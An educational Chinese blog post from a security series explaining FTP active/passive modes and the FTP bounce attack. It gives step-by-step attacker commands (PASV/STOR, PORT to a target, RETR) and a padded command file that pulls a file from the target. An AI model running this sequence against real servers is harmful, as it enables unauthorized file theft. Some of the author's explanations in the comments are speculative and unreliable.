iT邦幫忙

2017 iT 邦幫忙鐵人賽
DAY 25
6
Security

資事體大 毒擋一面 - 資安防護深入淺出系列 第 25

[Day25] 攻擊行為-FTP 彈跳式攻擊(FTP Bounce Attack)

FTP Bounce Attack

在這邊要介紹一個古老的攻擊:FTP Bounce Attack,這個攻擊主要是利用 FTP 在傳輸檔案過程的漏洞來進行攻擊,所以在介紹這個攻擊之前要先簡單介紹一下 FTP 的運作流程。

File Transfer Protocol(FTP)

FTP 是屬於 TCP 服務的一種,使用 FTP 來做資料傳輸時同時需要兩個 port,一個負責傳送控制訊息,一般設定在 port 21,另一個負責傳送資料,使用的是 port 20,這個協議在溝通的過程如下:

主動模式
主動模式

  1. 用戶端使用 TCP port 1024 與伺服器建立連線。當完成三向交握之後,連接就成功建立,但這僅是命令通道的建立,用戶端開啟自身即將用來傳送資料的 port 並利用 port command 提供傳送資料 port 的資訊給伺服器。
  2. 伺服器回應用戶端。
  3. 伺服器利用剛剛用戶端提供的資訊來主動與用戶端的 port 1025 進行三向交握建立連線。
  4. 用戶端與伺服器開始連線做資料的傳輸。

由於主動模式是由用戶端來開啟 port 給伺服器來做連線,這樣對於用戶端會產生安全上的疑慮,由伺服器端發起的連線也會被防火牆擋下來,因此發展出由使用者來對伺服器作連線的被動模式。

被動模式
被動模式

  1. 用戶端使用 TCP port 1024 與伺服器建立連線。當完成三向交握之後,連接就成功建立,在這個模式中會使用 command pasv 來取得伺服器所開啟的 port。
  2. 伺服器開啟用來做資料傳輸的 port 並回應用戶端。
  3. 用戶端利用剛剛指令所提供的資訊來主動與伺服器的 port 20 進行建立連線。
  4. 伺服器與用戶端開始連線做資料的傳輸。

在被動模式中改成由用戶端來發起連線的權利,有效了解決了用戶端安全問題也能夠克服防火牆問題,但相對的就造成了伺服器端的安全問題。

FTP Bounce Attack

在了解 FTP 兩種運作模式後就可以來講 FTP Bounce Attack 在做甚麼樣的事情
,在 FTP 中主動模式的 port command 可以對伺服器去設定要連線機器的 IP 和 port,這表示攻擊者連線到 FTP 後可以指定伺服器去跟不是原本使用者的電腦建立連線來達到攻擊的目的,接下來的例子是攻擊者可以連線到 FTP 伺服器但無法連線到目標,所以攻擊者使用 FTP Bounce Attack 來取得目標伺服器裡面的檔案,以下為攻擊過程示意圖:
攻擊過程

攻擊範例:

  1. 攻擊者與 FTP 伺服器建立連線後輸入:
quote "pasv"
quote "stor foobar"

pasv 是為了要啟動被動模式並讓 FTP 伺服器開啟傳送資料的 port,並使用 stor 指令來讓伺服器接收下一個從 FTP 資料 port 傳過來的檔案並命名為 foobar。

  1. 伺服器回傳資料 port 的資訊給攻擊者。

  2. 攻擊者以下列 commands 將欲使目標伺服器執行的 commands 用 put 指令以檔案形式(Atkcomm)上傳到 FTP 伺服器上,並輸入指令讓 FTP 伺服器狀態改成主動模式,接著將檔案(Atkcomm)傳送到目標伺服器上。

put Atkcomm
quote "port T , T , T , T , 0 , 21"
quote "retr Atkcomm"

以 quote 使 FTP 伺服器輸入 " " 之間的 command,其中第二行 port 後面接的是目標伺服器資料傳輸的 address 及端口,並以第三行 retr Atkcomm 要求伺服器將檔案 Atkcomm 傳送至目標伺服器。

Atkcomm 要給目標執行的 command 內容大概如下::

user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F , F , F , F , X , X
retr targetfile.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

port 後面接的資訊是由步驟 1 中 FTP 伺服器改成被動用來傳送資料的 port 資訊,retr 後面接的是要目標伺服器傳送的檔案名稱,在 quit 後面補上的符號要大於 60k,目的是要在指令啟動後有足夠的時間讓檔案從目標伺服器傳到 FTP 伺服器。

  1. FTP 伺服器在接收到步驟 3 時攻擊者所傳送的 quote 指令,進而開啟對目標伺服器的資料傳輸端口,並傳送 Atkcomm 檔案至目標伺服器使其為執行 commands。
port T , T , T , T , 0 , 21
retr Atkcomm
  1. 目標以 Atkcomm 檔案為 commands,將 targetfile.tar.Z 檔案傳送至 FTP 伺服器。

  2. 攻擊者將 FTP 伺服器中接收到的 targetfile.tar.Z 檔案改名為 foobar 並儲存,這樣就完成了 FTP Bounce Attack。

希望有興趣的讀者也能夠點個追蹤,有任何問題或有想多了解的地方也可以回覆在文章底下唷,謝謝你們XDDDD!

參考來源:
弈飛資訊線上技術論壇-主動式與被動式 FTP 比較 http://phorum.com.tw/ShowPost/5609.aspx
易春木 FTP bounce http://eeepage.info/ftp-bounce/
The FTP Bounce Attack https://nmap.org/hobbit.ftpbounce.txt


上一篇
[Day24] 攻擊行為-反射式跨網站指令碼 Reflected XSS
下一篇
[Day26] 攻擊行為-阻斷服務攻擊 Denial of Service attack
系列文
資事體大 毒擋一面 - 資安防護深入淺出31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中
0
虎虎
iT邦研究生 5 級 ‧ 2017-01-09 16:25:12

好清楚明白的圖!!!!!

0
pikaka
iT邦新手 5 級 ‧ 2017-03-06 22:05:46

小茶大大您好:

我有在關注你的資事體大 毒擋一面 - 資安防護深入淺出的文章
在這篇有遇到一些疑問想了解一下
在攻擊範例中的第三步包含ftp指令的檔案是要給target執行還是給ftp server呢?~
我看攻擊範例上方的圖與下面的攻擊範例有點配不起來
如您有空能在範例的地方在深入講解一點嗎
謝謝

看更多先前的回應...收起先前的回應...
小茶 iT邦新手 4 級 ‧ 2017-03-07 14:06:06 檢舉

Hi pikaka 大大,

謝謝您關注唷/images/emoticon/emoticon37.gif/images/emoticon/emoticon37.gif真開心,
剛剛我再看了一下,哈哈 真的是圖文不符,
感到....超級對不起的 /images/emoticon/emoticon25.gif
所以有稍微更新了一下內容,
對於原來第三步中的 commands 檔案是會傳送至目標伺服器的

user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F , F , F , F , X , X
retr targetfile.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@

並令目標伺服器以其為 commands 回傳檔案至 FTP server。
有些細節當初在打的時候沒注意到,
感謝 pikaka 大大的提醒!!

pikaka iT邦新手 5 級 ‧ 2017-03-07 16:05:51 檢舉

謝謝小茶大大您詳細的回答

另外可能是我對FTP的不了解
想請問是否將指令檔案 Atkcomm 傳到target中,target就會自動執行檔案中的指令,還是要另外的動作?

如有空再麻煩您解答
謝謝

小茶 iT邦新手 4 級 ‧ 2017-03-13 13:43:35 檢舉

pikaka大大好,

抱歉這麼晚才回覆,


retr 算是比較危險的指令
根據 https://cr.yp.to/ftp/retr.html 中的描述
A RETR request asks the server to send the contents of a file over the data connection already established by the client
因為 retr 其實是要 server 端將檔案內容傳至傳至客戶端
在例子中的

quote "port T , T , T , T , 0 , 21"
quote "retr Atkcomm"

是以 quote 要求 ftp 將資料傳輸端口指向 T , T , T , T 的 21 Port
並將 Atkcomm 的檔案內容傳至 target


至於"客戶端會依照檔案內容的 commands 執行"這個

過去通常是以 retr 指令將檔案下載
但由於存在安全疑慮,現在目前多半以 GET 指令取代
因此也無法複製這樣的範例,只能學習這樣的漏洞了。
根據網上資料 skyeken
文中所提到

"retr command" 會將 command 指令稿的內容列出,其結果將會變為執行該檔案內容。

推測若 retr 檔案內容屬於 ftp 可執行 command,將會使接收檔案的 server 執行這些 commands

pikaka iT邦新手 5 級 ‧ 2017-03-14 09:54:01 檢舉

謝謝小茶大大再次講解
並提供許多網路上的資料
讓我能進行比對
看完以後有茅塞頓開的感覺
能夠瞭解這比較久以前的攻擊方式
非常感謝

小茶 iT邦新手 4 級 ‧ 2017-03-21 09:33:43 檢舉

不會不會/images/emoticon/emoticon25.gif
我們都在一起學習~
抱歉我最近很少比較少來看自己的文章 哈哈
謝謝 pikaka 大大

0
小茶
iT邦新手 4 級 ‧ 2017-03-13 13:41:03

不小心回覆成留言啦../images/emoticon/emoticon20.gif

我要留言

立即登入留言